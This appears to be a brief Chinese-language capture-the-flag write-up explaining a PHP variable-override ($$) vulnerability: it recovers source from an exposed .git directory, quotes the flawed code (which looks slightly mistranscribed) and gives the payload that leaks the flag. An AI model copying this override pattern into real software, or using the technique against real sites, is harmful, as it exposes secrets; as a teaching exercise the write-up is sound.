主要考察变量覆盖漏洞
先扫目录,扫到.git,用git_extract还原。
<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;}foreach($_GET as $x => $y){$$x = $$y;}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is);}echo "the flag is: ".$flag;
首先正常情况,会发现底端输出了一个dog,也就是说在第二处if时断掉了,那么传入一个flag变量,结果发现底部变成了the flag is:,然而后面什么都没显示,原因是因为上面的foreach将flag变量覆盖了:
?flag=1 ==> $flag=$1
显然$1是不存在的,那么如果传递flag=flag呢,这样就会触发最下面的$_GET['flag'] === 'flag'判断,输出cat。但是如果再传入is,让其被flag的值覆盖,最后输出的就是flag了。
payload:
index.php?flag=flag&is=flag
